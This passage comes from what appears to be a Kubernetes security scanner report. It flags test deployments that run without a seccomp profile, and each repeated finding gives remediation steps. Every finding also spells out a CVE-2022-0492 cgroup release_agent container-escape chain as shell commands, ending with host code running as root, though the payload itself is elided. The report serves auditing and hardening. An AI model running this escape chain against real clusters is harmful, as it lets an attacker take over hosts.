  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n foothold-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/foothold-priv-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/foothold-fixtures/foothold-quiet-app Workload 5.5
Container app runs without a seccomp profile in Deployment/foothold-fixtures/foothold-quiet-app
Scope · Workload Workload Deployment/foothold-fixtures/foothold-quiet-app
Category: Privilege Escalation Resource: Deployment/foothold-fixtures/foothold-quiet-app Namespace: foothold-fixtures

Container app in Deployment/foothold-fixtures/foothold-quiet-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n foothold-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/foothold-quiet-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/gw-workloads/gw-web Workload 5.5
Container app runs without a seccomp profile in Deployment/gw-workloads/gw-web
Scope · Workload Workload Deployment/gw-workloads/gw-web
Category: Privilege Escalation Resource: Deployment/gw-workloads/gw-web Namespace: gw-workloads

Container app in Deployment/gw-workloads/gw-web either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n gw-workloads <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/gw-web -n gw-workloads -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/hookbackend-fixtures/hookbackend-injector Workload 5.5
Container app runs without a seccomp profile in Deployment/hookbackend-fixtures/hookbackend-injector
Scope · Workload Workload Deployment/hookbackend-fixtures/hookbackend-injector
Category: Privilege Escalation Resource: Deployment/hookbackend-fixtures/hookbackend-injector Namespace: hookbackend-fixtures

Container app in Deployment/hookbackend-fixtures/hookbackend-injector either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n hookbackend-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/hookbackend-injector -n hookbackend-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/imgswap-fixtures/imgswap-reader-app Workload 5.5
Container app runs without a seccomp profile in Deployment/imgswap-fixtures/imgswap-reader-app
Scope · Workload Workload Deployment/imgswap-fixtures/imgswap-reader-app
Category: Privilege Escalation Resource: Deployment/imgswap-fixtures/imgswap-reader-app Namespace: imgswap-fixtures

Container app in Deployment/imgswap-fixtures/imgswap-reader-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n imgswap-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/imgswap-reader-app -n imgswap-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/ingress-only/ingress-app Workload 5.5
Container app runs without a seccomp profile in Deployment/ingress-only/ingress-app
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Privilege Escalation Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in Deployment/ingress-only/ingress-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n ingress-only <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/ingress-app -n ingress-only -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-narrow-app Workload 5.5
Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-narrow-app
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-narrow-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n lp-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/lp-narrow-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-orphan-app Workload 5.5
Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-orphan-app
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-orphan-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n lp-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/lp-orphan-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-wildcard-app Workload 5.5
Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-wildcard-app
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-wildcard-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n lp-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/lp-wildcard-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/netpol-imds/imds-allow-app Workload 5.5
Container app runs without a seccomp profile in Deployment/netpol-imds/imds-allow-app
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-allow-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n netpol-imds <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/imds-allow-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 5.5
Container app runs without a seccomp profile in Deployment/netpol-imds/imds-open-app
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

